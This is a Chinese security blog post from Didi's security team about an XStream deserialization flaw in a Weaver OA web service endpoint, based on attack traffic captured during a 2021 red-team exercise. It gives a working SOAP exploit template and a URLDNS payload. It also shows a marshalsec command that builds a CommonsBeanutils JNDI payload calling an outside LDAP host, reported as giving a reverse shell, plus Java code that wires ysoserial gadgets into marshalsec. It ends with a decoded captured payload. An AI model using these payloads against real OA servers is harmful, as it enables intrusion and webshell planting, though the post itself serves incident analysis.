作者:清水川崎@滴滴出行SSTG Basic Security Team
0x01 写在前面
朋友在2021年HVV中作为防守方抓到了一段流量,刚开始没有太过于在意,随后在t00ls论坛中也发现了这段流量,随即觉得事情并不简单。
0x02 触发点
根据流量可以得知路由为/services%20/WorkflowServiceXml
,我随即查看了该OA的web.xml。
发现了相关类为weaver.workflow.webservices.WorkflowServiceXml
、weaver.workflow.webservices.WorkflowServiceImplXml
。
关于类的东西先放到一旁,毕竟路由是否真实存在、%20
有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
好家伙,我直接好家伙,不是阻断我,就是给我玩消失。
那我带上%20
试试?
原来404和阻断都是骗人的啊!
0x03 漏洞的sink
根据这个response可以看出这应该是一个soap xml注入,具体是XMLDecoder、XStream或者其他什么,还得看weaver.workflow.webservices.WorkflowServiceXml
、weaver.workflow.webservices.WorkflowServiceImplXml
.
首先,先看看weaver.workflow.webservices.WorkflowServiceXml
可以注意到这是一个接口类,其中一个方法doCreateWorkflowRequest
比较可疑。
去weaver.workflow.webservices.WorkflowServiceImplXml
看看这个方法的实现。
继续跟踪看看
这个xs咋看起来这么眼熟?看看xs是个啥,一般Java可能会定义在代码文件最上方。
原来xs是XStream
的对象,简直是妙蛙种子逛米奇妙妙屋——妙到家了。
0x04 配合SOAP生成Payload
既然决定了sink点,下一步肯定是POC的撰写了,先确定SOAP基本模板。
根据朋友给的流量可以确定基本SOAP消息体模板大致是这样的。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
验证一下我的想法
验证成功。
接下来就是寻找gadget了。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。
随后dnslog成功收到请求。
试试其他的gadget?比如CommonsBeanutils的jndi注入?java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml
最后反弹成功。
0x05 marshalsec和ysoserial的联姻
大部分人都把marshalsec
当做一个快速JNDI服务器的工具,其实它也有其他功能,比如生成XStream的payload就很好。
问题在于marshalsec内置的gadget全都需要出网,这一点儿也不符合我这个完美主义者的实战需求,需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget,可以结合起来吗?当然可以!
新建一个idea项目,将marshalsec和ysoserial都引入classpath作为依赖。然后重写marshalsec.XStream
,一个字也不要改。
继续重写marshalsec.gadgets.CommonsBeanutils
的makeCommonsBeanutilsJNDI
方法。
这里以URLDNS作为举例
package marshalsec.gadgets;
import java.util.Collections;
import marshalsec.UtilFactory;
import marshalsec.util.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.URLDNS;
public interface CommonsBeanutils extends Gadget {
@Primary
@Args(
minArgs = 1,
args = {"jndiUrl"},
defaultArgs = {"{exploit.jndiUrl:ldap://localhost:1389/obj}"}
)
default Object makeCommonsBeanutilsJNDI(UtilFactory uf, String... args) throws Exception {
URLDNS urldns = new URLDNS();
Object object = urldns.getObject(args[0]);
return object;
}
}
这下想要用ysoserial的什么gadget,只需要新建一个基于该gadget的对象,使用其getObject方法即可。
比如我已经实现了延时注入,可以判断不出网的机器是否存在漏洞,由于每次发包只是让线程阻塞10s,且根据response时间即可判断,对服务器并无实际伤害,可以算是完美的无损poc。
具体实战,需要什么功能?比如写webshell、内存shell、回显等,请读者自行实现,这里我只提供思路。
0x06 流量的解密
书归正传,朋友抓到的流量到底对服务器干了啥?我们来看看。
可以判断使用了CommonsBeanutils和CC3的gadget。
这段流量以yv66vgAAAD
开头可以判断是base64的序列化payload,尝试对流量整理,得到下面的流量。
yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC
对其进行解码
不难看出写了个文件D:\WEAVER\ecology\css\login.css
,内容应该是login12345
0x07 后记
这次流量的应急响应又加深了我对XStream以及某OA的印象,不可多得的一次机会。
0x08 招聘内推计划
滴滴出行SSTG需要你!欢迎志同道合的同学加入滴滴出行SSTG,请各大微信群联系 @清水川崎 或者 关注 @滴滴安全应急响应中心 公众号,请注明来源。
发表评论
您还未登录,请先登录。
登录